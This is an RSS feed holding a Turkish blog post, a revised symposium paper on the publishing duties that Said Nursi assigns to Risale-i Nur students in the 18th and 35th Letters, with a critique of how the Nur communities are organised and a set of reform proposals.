<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Layetezelzel &#124; Düşünce Okulu &#187; bediüzzamanLayetezelzel | Düşünce Okulu | </title>
	<atom:link href="http://layetezelzel.com/tag/bediuzzaman-2/feed/" rel="self" type="application/rss+xml" />
	<link>http://layetezelzel.com</link>
	<description></description>
	<lastBuildDate>Tue, 19 Mar 2019 03:47:02 +0000</lastBuildDate>
	<language>tr-TR</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5.1</generator>
		<item>
		<title>18 ve 35. Mektuplar ışığında  Nur talebelerinin neşriyat yükümlülüğü*</title>
		<link>http://layetezelzel.com/18-ve-35-mektuplar-isinda-nur-talebelerinin-nesriyat-yukumlulugu1/</link>
		<comments>http://layetezelzel.com/18-ve-35-mektuplar-isinda-nur-talebelerinin-nesriyat-yukumlulugu1/#comments</comments>
		<pubDate>Thu, 23 Apr 2015 19:44:26 +0000</pubDate>
		<dc:creator>Şener Boztaş</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[Kavram]]></category>
		<category><![CDATA[Lahikalar]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[neşriyat]]></category>
		<category><![CDATA[risale-i nur]]></category>
		<category><![CDATA[vazife]]></category>

		<guid isPermaLink="false">http://www.layetezelzel.com/?p=260</guid>
		<description><![CDATA[Giriş Öncelikle “18 ve 35. Mektup” derken neyi kastettiğimi ifade etmem gerekiyor. Mektuplar 18 [2] ve 35 [3] sıra numarasıyla bu sempozyumun konusu olan Kastamonu Lahikası’nda yer alıyorlar. Bu noktada şöyle haklı bir soruyla karşılaşıyoruz: Hangi yayınevinin, hangi edisyonuna göre bu sıra .....]]></description>
				<content:encoded><![CDATA[<p><strong>Giriş</strong></p>
<p>Öncelikle “18 ve 35. Mektup” derken neyi kastettiğimi ifade etmem gerekiyor. Mektuplar 18 <strong>[2]</strong> ve 35 <strong>[3] </strong>sıra numarasıyla bu sempozyumun konusu olan <em>Kastamonu Lahikası</em>’nda yer alıyorlar. Bu noktada şöyle haklı bir soruyla karşılaşıyoruz: Hangi yayınevinin, hangi edisyonuna göre bu sıra numaraları?</p>
<p>Mektupları numaralandırarak yayınlayan iki yayınevi var: Söz Basım Yayın ve Yeni Asya Neşriyat. Biz bu çalışmamızda Söz Basım Yayın’ın, Şubat 2014 tarihli baskısını referans aldık. Çünkü Yeni Asya Neşriyat 35. Mektubu <em>Barla Lahikası</em>’na dercetmiş.<strong>[4]</strong></p>
<p>Çalışmalarım esnasında iki hususla karşılaştım. Bunlardan birincisi; mektupların sıralaması yayınevlerine göre farklılık arz ediyor. Şahsen bunu bir problem olarak görmüyorum. Zira biraz sonra aşağıda değineceğimiz “tanzim” vazifesi bunu mümkün kılıyor.</p>
<p>İkinci ve asıl önemli olan husus ise şu: 18. Mektup her yayınevinin tüm edisyonlarında yer almakla birlikte, 35. Mektup bazılarında var, bazılarında yok. Yaptığım araştırmaya göre 35. Mektup Latinize <em>Kastamonu Lahikası</em>’nın Sinan Matbaası, 1960 tarihli baskısında yok. O nüshayı esas alan Sözler Yayınevi’nin nüshalarında da yok. Dolayısıyla uzunca bir süre bu mektup okuyuculara ulaşmamış. Zira biliyorsunuz 90’lı yıllara kadar çoğunlukla bu nüshalar okunuyordu. Edindiğimiz bilgilere göre ilk olarak İhlas-Nur Neşriyat bu mektubu Latinize nüshada yayınladı. Daha sonra Nesil Yayınları 2 ciltte topladıkları Külliyata <strong>[5]</strong> dercetti. Bugün itibariyle (bugün derken, bandrol sorununun başlamasından önce basılan son nüshalardan bahsediyorum) Sözler Yayınevi’nin nüshalarında bu mektup yer almazken; Söz Basım, Zehra Yayıncılık ve Envar Neşriyat mektubu yayınlıyor. Yeni Asya Neşriyat ise ilk baskılarında kullanmadığı bu mektubu (Örn. 1994) daha sonra <em>Barla Lahikası</em>’nda 284 sıra numarasıyla (s. 588-591) neşretti. Yine Diyanet İşleri Başkanlığı’nın yayına hazırladığı son nüshada da bu mektubun yer aldığını biliyoruz. <strong>[6]</strong></p>
<p>Denilebilir ki, yukarıda sıralama için öne sürülen “tanzim” gerekçesiyle bunu da normal karşılamak mümkün. Ancak biraz sonra değineceğim mektubun muhtevası, bu durumu bir problematik haline getiriyor. Özellikle yine aşağıda değineceğim “Beşinci Desise-i Şeytaniye”de 35. Mektubun muhtevasına yakın ama başka bağlamda ifade edilen yaklaşımla birlikte konuyu ele aldığımızda, bu problematik daha da önem kazanıyor.</p>
<p>Şimdi sözkonusu mektuplara daha yakından bakalım.</p>
<p><strong>1. Temel Kavramlar ve Referans Metinler</strong></p>
<p>Her iki mektupta da Bediüzzaman, “kardeş”lerine, bir başka deyişle “Risale-i Nur Talebeleri”ne Külliyat’ın neşri hakkında bir takım görevler veriyor. Daha doğru bir ifadeyle “Üstad” <strong>[7]<a href="#_ftn7" name="_ftnref7"></a></strong> olarak onlara imkân ve alan açıyor. Risale-i Nur Külliyatı üzerinde ve ondan hareketle, onu mehaz alarak yapmaları gereken çalışmaları sıralıyor. Ve bu görevler üzerinden “Risale-i Nur Talebesi”nin tanımını yapıyor.</p>
<p><strong> </strong></p>
<p><strong> 1. 1. Temel Kavramlar</strong></p>
<p><strong>Risale-i Nur Talebesi</strong>: Risale-i Nur Külliyatı’nda talebeliğin daha kapsamlı tanımları yapılmakla birlikte, bizim çalıştığımız bağlamda tanım, 18. Mektubun hemen başında şöyle ifade ediliyor: “Risale-i Nur’a intisap eden zâtın en ehemmiyetli vazifesi, onu yazmak ve yazdırmaktır ve intişarına yardım etmektir. Onu yazan veya yazdıran, ‘Risale-i Nur talebesi’ unvanını alır.”</p>
<p><strong>Haşiye</strong>: Sayfa kenarlarına ilâve edilen açıklayıcı ve tamamlayıcı bilgileri içeren not.</p>
<p><strong>Şerh</strong>: Bir eserin daha geniş biçimde açıklanması amacıyla yazılmış kitapları ifade eden bir telif türü.</p>
<p><strong>İzah</strong>: Vazıh ve ayan kılma, açıklama.</p>
<p><strong>Neşir</strong>: Yayma, yayınlama.</p>
<p><strong>Tafsil</strong>: Ayrıntılı açıklama, uzatma.</p>
<p><strong>Talim</strong>: Öğretme. Birine bilgi öğretmek, ders okutmak.</p>
<p><strong>Telif</strong>: Yanyana getirme, kaleme alma, yazma.</p>
<p><strong>Tekmil</strong>: Tamam etme, tamamlama.</p>
<p><strong>Tanzim</strong>: Nizama koyma, düzenleme, sıra ile verme.</p>
<p><strong>Tertip</strong>: Dizme, düzenleme, hazırlama.</p>
<p><strong>Tefsir</strong>: Yorumlama.</p>
<p><strong>Tashih</strong>: Düzelti, düzeltme.</p>
<p><strong>Tayyetme</strong>: Geçip gitme, silme, yok etme.</p>
<p><strong>İhlas</strong>: Kulun bütün davranışları ve sözlerinde sadece Allah’ın rızasını gözetmesi. Bir şeyi, içine karışmış ve değerini düşürmüş olan başka şeylerden temizleyip arındırma, saflaştırma.</p>
<p><strong>Tesanüd</strong>: Toplumda bireylerin ve grupların birbiriyle dayanışma halinde yaşamasını ifade eden ahlâk terimi.</p>
<p><strong>Şahs-ı manevi</strong>: Ortak kimlik etrafında oluşan tüzel kişilik.</p>
<p><strong> </strong></p>
<p><strong>1. 2. Referans Metinler</strong></p>
<p><strong>1. 2. 1. Onsekizinci Mektup ne söylüyor?</strong></p>
<p>Risale-i Nur’un neşrine odaklanan ve iki madde halinde yazılan 18. Mektubu, üç başlık altında özetleyebiliriz:</p>
<p><em>Birincisi: Risale-i Nur Talebesi kime denir ve vazifesi nedir?</em></p>
<p>Mektubun ilk iki<strong>[8] </strong>ve son cümlesini<strong>[9]<a href="#_ftn9" name="_ftnref9"></a></strong> birlikte okuduğumuzda şunu anlıyoruz: Risale-i Nur Talebesi metne yani manaya intisap eder, kişi ya da kişilere değil. Bediüzzaman, metnin müellifi olmasına rağmen kendisine intisap beklemez. Kendisiyle olan irtibatın ise yine metinler üzerinden kurulmasını ister. Yani “hakaik-i imaniye”yi ders veren “hadim-i Kur’an olan Üstad” olarak, mana düzleminde bir ilişkiye teşvik eder talebelerini.</p>
<p>Talebelik unvanını almak için, intisap edilen metni yazmak, yazdırmak ve yaymak en önemli vazifedir.</p>
<p><em>İkincisi: Risale-i Nur’un neşrine çalışmanın faydaları nelerdir?</em></p>
<p>Risale-i Nur yazımıyla (<em>kitabet</em>) dört açıdan ibadet hükmüne geçen dört sonuç elde edilir: İmanını kuvvetlendirmek, başkasının imanının tehlikeden kurtulmasına çalışmak, imani tefekkürü elde etmek ve Üstadına yardım ederek sevabına ortak olmak.</p>
<p>Burada altı çizilmesi gereken bir husus da şudur: “Bir küçük risaleyi <em>kendine bilerek</em> yazan adam” vurgusuyla Bediüzzaman, (1) minneti reddetmekte, (2) neşriyat faaliyetlerinde bulunanların “evvela kendi nefsine hitap etme” ilkesini ihlal etmemeleri gerektiğine dikkat çekmektedir.</p>
<p><em>Üçüncüsü: Neşriyat faaliyetinde karşılaşılan tehditler nelerdir?</em></p>
<p>“Risale-i Nur’un (&#8230;) çelik gibi metin kalelerine ve elmas kılıç gibi kuvvetli hüccetlerine mukabele edemediklerinden (&#8230;) yazanların şevklerini kırmak ve fütur vermek ve <em>yazıdan vazgeçirmek</em>&#8230;” Burada da neşriyat odaklı bir değerlendirme yapılmakta olduğunu görüyoruz. Risale-i Nur neşriyatına bütün manilere rağmen devam edilmesi gerektiğini ifade ediyor.</p>
<p>&nbsp;</p>
<p><strong>1. 2. 2. Otuzbeşinci Mektup ne söylüyor?</strong></p>
<p>Onsekizinci Mektup doğrudan Risale-i Nur’un yazımı ve yayımı ile ilgiliyken bu mektup, hem yazımı hem de onun üzerinden (mehaz) yeni metinler üretmenin usulünü, biçimini ve imkânını beyan ediyor.</p>
<p>Yeni metinler telif etmek için teşebbüste bulunduğunu fakat sonuç alamadığını,<strong>[10]<a href="#_ftn10" name="_ftnref10"></a></strong> dolayısıyla vazifesinin tamamlandığına inandığını söyleyen Bediüzzaman,<strong>[11]<a href="#_ftn11" name="_ftnref11"></a></strong> Külliyat üzerindeki tasarrufun bundan böyle “kardeş”lerinde yani Risale-i Nur Talebelerinde olduğunu ifade ediyor.</p>
<p>Bediüzzaman Kastamonu’da Mart 1936-Ekim 1943 tarihleri arasında mecburi ikamete tabi tutuluyor.</p>
<p>Külliyat’ın telif kronolojisine<strong>[12]<a href="#_ftn12" name="_ftnref12"></a></strong> baktığımızda <em>Sözler</em>, <em>Lem’alar</em> ve <em>Mektubat</em>’a dahil edilen risalelerin telifinin Kastamonu yıllarından önce tamamlandığını görüyoruz. “Teşebbüs ettimse de çalıştırılamadım” ve “vazifem bitmiş” ifadelerinden ise anlıyoruz ki, telif tarihi o yıllara tekabül eden ve <em>Şualar</em>’a dahil edilen risaleler de telif edilmiş ve bu mektup Kastamonu yıllarının sona ermesine yakın bir tarihte yazılmış. Zira 1943’ten sonra telif edilen 11 ila 14. Şualar mahkeme müdafaalarından oluşmaktadır. Bu anlamda tek istisna El-Hüccetü’z-Zehra olan 15. Şua’dır.</p>
<p>Tekrar 35. Mektubun muhtevasına dönelim ve Nur Talebelerinin ne tür vazifelerle yükümlü olduklarını inceleyelim.</p>
<p>Vasiyet edilen çalışmaları üç başlık altında toplayabiliriz.</p>
<p><em>Birincisi</em>: Mevcut metinler üzerinde tasarrufta bulunmak.</p>
<p>Farklı risalelerdeki parçaların tematik olarak biraraya getirilmesiyle yeni bir risale oluşturulması (Örn. Haşir). Bu, Risale-i Nur’un kendini izahı ve şerhi olarak değerlendirilmektedir.</p>
<p><em>İkincisi</em>: Yeni risaleler telif etmek.</p>
<p>Bunun da iki yöntemi var. Birincisi, adı ve konusu belli olan fakat telif edilmeyen risalelerin telifi; ikincisi, tamamlanmayan risalelerin tekmili.</p>
<p>Bediüzzaman birinciye örnek olarak Yirmibeşinci ve Otuzikinci Mektupları, ikinciye örnek olarak Dokuzuncu Şua’yı gösteriyor.</p>
<p>Yasin Suresine dair Yirmibeşinci Mektup Bediüzzaman’ın vasiyeti gereği telif edilmeyi bekliyor. Otuzikinci Mektupta ise ilginç bir durum var. Bediüzzaman onun da telif edilmesini gerektiğini söylüyor fakat külliyatta Lemaat, Otuzikinci Mektup olarak <em>Sözler</em>’in sonunda yer alıyor. Ki Lemeat’ın daha 1921’de telif edildiğini biliyoruz. O zaman Bediüzzaman burada başka bir şey söylüyor olabilir mi? Mesela, Lemaat’taki her bir nüktenin şerh edilerek genişletilmesi (tafsil) gibi.</p>
<p>Yine Rum Suresinin 17-27. ayetlerini tefsir etmeyi amaçlayan; dokuz makam ve bir mukaddimeden oluşacağı ifade edilen Dokuzuncu Şua, Mukaddime’nin telifiyle sınırlı kalıyor. Bediüzzaman, telif edilmeyen dokuz makamın telifini Nur Talebelerine vasiyet ediyor.</p>
<p><em>Üçüncüsü</em>: Risale-i Nur’u kaynak (mehaz) alarak entelektüel üretimde bulunmak. Her metin yoruma açık olduğu ve yeniden üretildiği oranda canlılığını devam ettirebilmektedir. Dolayısıyla Risale-i Nur’daki hakikatlerin değişen ferde, topluma, siyasete ve zamanın fehmine ulaştırılması; metne ve müellifine yönelik eleştirilerin ikna edici bir biçimde karşılanabilmesi için “tekmil-i izah,” “haşiyelerle beyan ve ispat,” “tefsir” ve “şerh” bir görev olarak önümüzde duruyor.</p>
<p><strong> </strong></p>
<p><strong>1. 2. 3. Beşinci Desise-i Şeytaniye ne söylemiyor?</strong></p>
<p>Bu bahsi<strong>[13]<a href="#_ftn13" name="_ftnref13"></a></strong> buraya almamızın sebebi şerh, izah ve tanzimden bahsediyor oluşu. Fakat uzun yıllar 35. Mektubun sağladığı geniş alandan henüz haberdar değilken, bu bahsin kısıtlayıcı bir üslupla okunması, yukarıda ifade etmeye çalıştığımız yeni entelektüel üretimlerin karşısına bir set olarak çıkarılmıştır. 35. Mektubun neşredilmemesi bu açıdan problematiktir. Hatta bu kısıtlayıcı okuma biçimi, metinde ifade edilen “tanzim”e karşı “içeri”de gösterilen şiddetli direnci netice vermiştir.</p>
<p>Evet, burada Bediüzzaman kısıtlayıcı bir üslup kullanmıştır. Fakat bağlam çok başkadır. İlmi enaniyetten kaynaklanan kıskançlık ve rekabet duygularıyla, Risaleleri ve müellifini küçümsemek kastıyla telifata kalkışmanın yanlışlığına işaret edilmektedir sözkonusu metinde.</p>
<p>&nbsp;</p>
<p><strong>2. Kısıtlayıcı Unsurlar</strong></p>
<p>Peki elimizde bu referanslar varken, Nur Talebeleri ne yapmıştır 1960’tan bu yana? Yukarıda incelediğimiz mektuplarda vasiyet edilen entelektüel faaliyetler ne oranda gerçekleşmiştir?</p>
<p>Altı çizilmesi gereken iki husus var:</p>
<p><em>Birincisi</em>, zorba devlete karşı verilen muhafaza ve meşruiyet mücadelesi, Nur Talebelerini sürekli savunma pozisyonunda tutmuştur. Bu bağlamda metinlerin bugüne kadar sağlıklı bir şekilde ulaşmasını temin eden bütün Nur Talebeleri her türlü takdiri haketmektedir.</p>
<p><em>İkincisi</em>, İlahiyat fakülteleri başta olmak üzere akademyanın Risale-i Nur’a uyguladığı ambargo, metinlerin entelektüel çalışmaların öznesi olmasını bugünlere kadar geciktirmiştir.</p>
<p>Bunlar harice bakan meşru mazeretler olarak kabul edilmelidir. Fakat Nur Talebeleri bugün ulaştığımız özgürlük ortamında kendi özeleştirisini de yapmak durumundadır.</p>
<p>Özeleştiri yaptığımızda karşımıza çıkan gerçek şudur: Risale-i Nur üzerinden (mehaz) yapılan entelektüel üretim gerek yerel gerekse uluslararası arenada söz söyleyebilecek düzeyde olmamıştır. Yayınlanan kitap, tez ve makale sayısı ve niteliği bunun açık göstergesidir. Yine yetişmiş entelektüel insan kaynağındaki kıtlık da başka bir göstergedir. Evet, Nur Talebesi ilim adamları mevcuttur ama bunların pek çoğunun Risale-i Nur’a yaklaşımları eklektiktir. Düzenlenen akademik toplantılarda bile Bediüzzaman’ı ve Risale-i Nur övücü, propagandif dilin baskın olduğu bilinen bir gerçektir. Medresetüzzehra’yı idealize eden insanların bugüne kadar kurup yaşatabildikleri enstitü, akademi, araştırma merkezi, think tank vb kurumların sayısı bir elin parmaklarını geçmemektedir. Ve ne yazık ki var olanlar da disipliner bir eğitim uygulayamamaktadırlar. Henüz araştırmacılara açık, kapsamlı bir tematik kütüphane kurulamamıştır. Üstad’ın tashihinden geçmiş Risale metinleri ve belgeler hâlâ özel kütüphanelerde saklanmaktadır. Risale-i Nur’un en çok okunduğu klasik dersler ise çoğunlukla metinlerin “teberrüken tilavet edilmesi” boyutuyla sınırlı kalmıştır. Söz, yazıya galip gelmiştir.<strong>[14]<a href="#_ftn14" name="_ftnref14"></a></strong></p>
<p>Kanaatimce bu sonucu netice veren şey “cemiyetleşme”dir. Nur Talebelerinin cemaatleşmesi sosyolojik bir olgudur ve olağandır. İçten dışa talebe-kardeş-dost vasfıyla, mütedahil daireler halinde, “muhalif cereyana taraftar olmamak”<strong>[15]<a href="#_ftn15" name="_ftnref15"></a></strong> hattına kadar genişleyen cemaatleşme olağandır, kuşatıcı ve kucaklayıcıdır, hür bir zemindir. Cemiyetleşme ise bu çizgiden sapmadır. Bugün bizim Nur dairesi içinde “cemaat” olarak adlandırdığımız oluşumlar, iç yapıları ve ilişki biçimleriyle daha çok cemiyettir. Lideri, bürokrasisi, hiyerarşisi ve hatta tüzüğü olan bir yapı artık cemaat değil cemiyettir. Bediüzzaman’a yöneltilen en temel ithamlardan biridir biliyorsunuz “cemiyet kurmak.” Bir müdafaasında şöyle diyor: “Meselemiz imandır. İman kuvvetiyle bu memlekette ve Isparta’nın yüzde doksan dokuz adamlarıyla uhuvvetimiz var. Halbuki, cemiyet ise ekser içinde ekalliyetin ittifakıdır. Bir adama karşı, doksan dokuz adam cemiyet olmaz”<strong>[16]<a href="#_ftn16" name="_ftnref16"></a></strong> Bugünkü cemaatlerin ilişki biçimi “ekser içinde ekalliyetin ittifakı” değil midir?</p>
<p>Cemiyete dönüşen cemaat, kaçınılmaz olarak kendi resmi görüşünü oluşturacak, bir söylem biçimi geliştirecek ve bunları muhafaza etmek için çabalayacaktır. Yani “kırmızı çizgileri” olacaktır. Dolayısıyla lider-bürokratik yapı-resmi görüş üçgeni hür düşünceye izin vermeyecektir. Oysa Bediüzzaman’ın 35. Mektupta vasiyet ettiği neşriyat faaliyetleri için-neşriyat faaliyetinin tabiatı zaten bunu gerektirir-birincil ihtiyaç düşünce ve ifade hürriyetidir. Bu yapılarda düşünce ve ifade hürriyetini, ait olduğu cemaatin resmi görüşüne aykırı olarak kullanmakta ısrar eden Nur Talebelerinin akıbeti ise genellikle ya kendi isteğiyle ya da “cemaat kararı”yla oradan uzaklaşmak olacaktır.</p>
<p>Bediüzzaman’ın “Mehdiyet” kimliği üzerinden kendisinin kültleştirilmesini engellemek ve nazarları şahs-ı maneviye yönlendirmek için söylediği “Zaman cemaat zamanıdır”<strong>[17] </strong>sözü bağlamından kopartılarak yorumlanmakta, cemaatler tarafından, müntesiplerin sadakatini kuvvetlendirecek bir argüman haline dönüştürülmektedir. Sözkonusu ifadenin bir başka kullanımının Birinci Meclis’te Mustafa Kemal’in “tek adam”lığına karşı kullanılması<strong>[18]<a href="#_ftn18" name="_ftnref18"></a></strong> ise ironik çağrışımlar içermektedir.</p>
<p>Bediüzzaman’ın “onu yazan ve yazdıran Risale-i Nur Talebesi unvanını alır” çizgisiyle, cemaatin görüşlerine sadakat üzerinden yapılan Nur Talebeliği tanımı arasındaki uçurumun boyutları üzerine hep birlikte düşünmeliyiz.</p>
<p>Bugün geldiğimiz noktada, iletişim imkânlarının çoğalması ve kolaylaşması, internetin biçimlendirdiği yeni dünya, refahın artmasıyla oluşan yeni sosyoloji ve nispeten özgürleşen Türkiye, Risale-i Nur hizmetini yeni bir eşiğe taşıdı. Adeta Bediüzzaman’ın <em>Muhakemat</em>’ta bahsettiği “istikbal” dönemi<strong>[19] </strong>uç verdi. Henüz akademik bir ölçeğe vurulacak düzeyde olmasa da cemaat duvarları şeffaflaştı. Yani Nur Talebeleri kendi “cemaati” dışındaki derslere, organizasyonlara daha çok katılır oldu. Herhangi bir cemaate aidiyet hissetmeyen ve fakat Risale-i Nur okuyan, okutan, Bediüzzaman’ın ifadesiyle onu yazan, yazdıran ve intişarına yardım eden fertler, kurumlar ortaya çıkmaya başladı. Akademik format içinde entelektüel üretim endişesi taşıyan gruplardan, benim “new age hizmet grupları” dediğim popüler bir üslup, dil ve biçimi tercih eden oluşumlara kadar geniş bir yelpaze ortaya çıktı. Bunlar ümit verici gelişmeler olarak değerlendirilebilir.</p>
<p>&nbsp;</p>
<p><strong>3. Sonuç Yerine Öneriler</strong></p>
<ol>
<li>Mevcut Nur Cemaatleri elbette varlıklarını sürdüreceklerdir. Ancak kendilerini cemiyet pozisyonuna indirgeyen yöntem ve uygulamaları gözden geçirmeleri kaçınılmazdır. Bunun için öncelikle zihniyet değişikliği gerekmektedir. Ve yine etrafında toplandıkları karizmatik liderleri “müzahir” profiline indirgemeliler. Yeni “lider”lerin ortaya çıkmasına müsaade etmeyip, meşvereti tesis etmeliler.</li>
<li>“Biz delil isteriz, tasvir-i müddea ile aldanmayız,” “Tasvir ve tezyin-i müddea zihnimizi işba’ etmiyor. Burhan isteriz”<strong>[20] </strong>diyen yeni nesillerin dilini konuşmalı, daha rasyonel bir anlatı dili yakalanmalıdır.</li>
<li>Metinlerin sıhhatini korumak gayesiyle geliştirilen haklı refleks Külliyatı dogmaya dönüştürmemelidir. Kutsal olan cildi, kâğıdı, sayfa düzeniyle kitabın kendisi ya da Risale-i Nur hizmetini yürüten kişi ve kurumlar değil içindeki hakikatlerdir. Bu bağlamda, yetersiz de olsa ileri adım olarak değerlendirilebilecek olan ayet, hadis mealleri, lügatçe ve ansiklopedik bilgilerin kitaplara yeniden girmesine müsaade edilmeli; hataların giderilmesi, eksiklerin tamamlanması için ortak çalışma grupları oluşturulmalıdır.</li>
<li>Özellikle ehl-i imanın Risale-i Nur’a mesafeli duruşunda Nur Talebelerinin de rolü olduğu kabul edilmelidir. İttihad-ı İslam’ın farz vazife olduğuna inanan Nur Talebeleri diğer ehl-i imanla aralarındaki köprüleri çoğaltmalıdır.</li>
<li>Risale-i Nur Külliyatı ve Bediüzzaman ile ilgili bütün dokümanların ve yayınların birarada bulanacağı, herkesin kullanımına açık tematik bir kütüphane kurulmalıdır.</li>
<li>Risale-i Nur’u mehaz kabul ederek ilmi, imani, içtimai meseleler hakkında düşünce üretimi için ortak fikrî müzakere zeminleri çoğaltılmalı, buralardan hasıl olarak kitap, makale, araştırma dosyası, rapor gibi materyaller yine güçlü yayınevleri üzerinden dünyaya servis edilmelidir.</li>
<li>Hizmet müesseseleri akademik usul ve esaslar çerçevesinde kendi insan kaynağını yetiştirmelidir. 35. Mektupta vasiyet edilen neşriyat yükümlülüğü bu kadrolarla mümkündür. Devşirme aydınlarla sonuç alınamayacağı tecrübe edilmiştir.</li>
<li>Bu tür platformlarda telahuk-u efkar, fikir hürriyeti, ruhların tesanüdü ve taassupsuzluk ilkeleri vazgeçilmez değerler olmalıdır. “Herkes kendi harekât-ı meşruasında şahane serbest ol[malı]”; ortak karar alma süreçlerinde meşveret kuralları uygulanmalıdır. Her türlü vesayet ve angajmandan bağımsız yapılar inşa edilmelidir.</li>
<li>Şüphesiz bu maddeler çoğaltılabilir fakat kabul edelim ki bütün bunlar ancak uhuvvet ve ittihad zemininde mümkün olabilir.</li>
</ol>
<p>&nbsp;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>[∗] Bu metin 17-19 Nisan 2015 tarihlerinde düzenlenen “Kastamonu Lahikası Sempozyumu”nda sunulan tebliğin gözden geçirilmiş halidir.</p>
<p>[2] Bediüzzaman Said Nursi, <em>Kastamonu Lahikası</em>, Söz Basım Yayın, İstanbul: Şubat 2014, s. 43.</p>
<p>[3] A.g.e., s. 72-75.</p>
<p>[4] Bediüzzaman Said Nursi, <em>Barla Lahikası</em>, Yeni Asya Neşriyat, İstanbul: Şubat 2014, s. 588-591.</p>
<p>[5] Bediüzzaman Said Nursi, <em>Risale-i Nur Külliyatı</em>, Nesil Yayınları, İstanbul:2002, Cilt: 2, s. 1590-1591.</p>
<p>[6] Bediüzzaman Said Nursi, <em>Kastamonu Lahikası</em>, Diyanet İşleri Başkanlığı (basılmamış nüsha), s. 51-53.</p>
<p>[7] “Üstad”lığın mahiyeti için bkz: “Mesleğimizin esası uhuvvettir. Peder ile evlât, şeyh ile mürid mâbeynindeki vasıta değildir. Belki hakikî kardeşlik vasıtalarıdır. Olsa olsa bir üstadlık ortaya girer. Mesleğimiz halîliye olduğu için, meşrebimiz hıllettir. Hıllet ise, en yakın dost ve en fedakâr arkadaş ve en güzel takdir edici yoldaş ve en civanmert kardeş olmak iktiza eder.” http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Lemalar&amp;Page=166 (erişim tarihi: 10.04.2015)</p>
<p>[8] “Risale-i Nur’a intisap eden zâtın en ehemmiyetli vazifesi, onu yazmak ve yazdırmaktır ve intişarına yardım etmektir. Onu yazan veya yazdıran, ‘Risale-i Nur talebesi’ unvanını alır.”</p>
<p>[9] “Benimle hakikat meşrebinde sohbet etmek ve görüşmek isteyen adam hangi risaleyi açsa, benimle değil, hâdim-i Kur’an olan Üstadıyla görüşür ve hakaik-i imaniyeden zevkle bir ders alabilir.”</p>
<p>[10] “Bu sene çok defa ihtar edilen hakikatleri kaydetmek için teşebbüs ettimse de çalıştırılamadım.”</p>
<p>[11] “Onun için vazifem bitmiş gibi bana geliyor.”</p>
<p>[12] http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;SubSection=TelifKronolojisi (erişim tarihi: 10.04.2015)</p>
<p>[13] “Bir şey daha kaldı; en tehlikesi odur ki: İçinizde ve ahbabınızda, bu fakir kardeşinize karşı bir kıskançlık damarı bulunmak, en tehlikelidir. Sizlerde mühim ehl-i ilim de var. Ehl-i ilmin bir kısmında bir enâniyet-i ilmiye bulunur. Kendi mütevazi de olsa, o cihette enâniyetlidir; çabuk enâniyetini bırakmaz. Kalbi, aklı ne kadar yapışsa da, nefsi, o ilmî enâniyeti cihetinde imtiyaz ister, kendini satmak ister, hattâ yazılan risalelere karşı muaraza ister. Kalbi risaleleri sevdiği ve aklı istihsan ettiği ve yüksek bulduğu hÂlde, nefsi ise, enâniyet-i ilmiyeden gelen kıskançlık cihetinde zımnî bir adâvet besler gibi, Sözlerin kıymetlerinin tenzilini arzu eder-tâ ki kendi mahsulât-ı fikriyesi onlara yetişsin, onlar gibi satılsın. Halbuki, bilmecburiye bunu haber veriyorum ki:</p>
<p>Bu durûs-u Kur’âniyenin dairesi içinde olanlar, allâme ve müctehidler de olsalar, vazifeleri, ulûm-u imaniye cihetinde, yalnız yazılan şu Sözlerin şerhleri ve izahlarıdır veya tanzimleridir. Çünkü, çok emârelerle anlamışız ki, bu ulûm-u imaniyedeki fetvâ vazifesiyle tavzif edilmişiz. Eğer biri, dairemiz içinde nefsin enâniyet-i ilmiyeden aldığı bir hisle, şerh ve izah haricinde bir şey yazsa, soğuk bir muaraza veya nâkıs bir taklitçilik hükmüne geçer. Çünkü, çok delillerle ve emârelerle tahakkuk etmiş ki, Risale-i Nur eczaları Kur’ân’ın tereşşuhâtıdır; bizler, taksimü’l-a’mÂl kaidesiyle, herbirimiz bir vazife deruhte edip o âb-ı hayat tereşşuhâtını muhtaç olanlara yetiştiriyoruz.”</p>
<p>http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Mektubat&amp;Page=413 (erişim tarihi: 10.04.2015)</p>
<p>[14] Bu paragraftaki iddialarımızı rakamlarla ve somut isimlerle desteklemek mümkün, fakat maksadımız deşifre değil tespit olduğu için bundan bilerek kaçındık.</p>
<p>[15] <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=KastamonuLahikasi&amp;Page=193">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=KastamonuLahikasi&amp;Page=193</a> (erişim tarihi: 14.04.2015)</p>
<p>[16] <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=TarihceiHayat&amp;Page=200">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=TarihceiHayat&amp;Page=200</a> (erişim tarihi: 14.04.2015)</p>
<p>[17] <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Mektubat&amp;Page=425">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Mektubat&amp;Page=425</a> (erişim tarihi: 11.04.2015)</p>
<p>[18] <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=MesneviiNuriye&amp;Page=87">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=MesneviiNuriye&amp;Page=87</a> (erişim tarihi: 11.04.2015)</p>
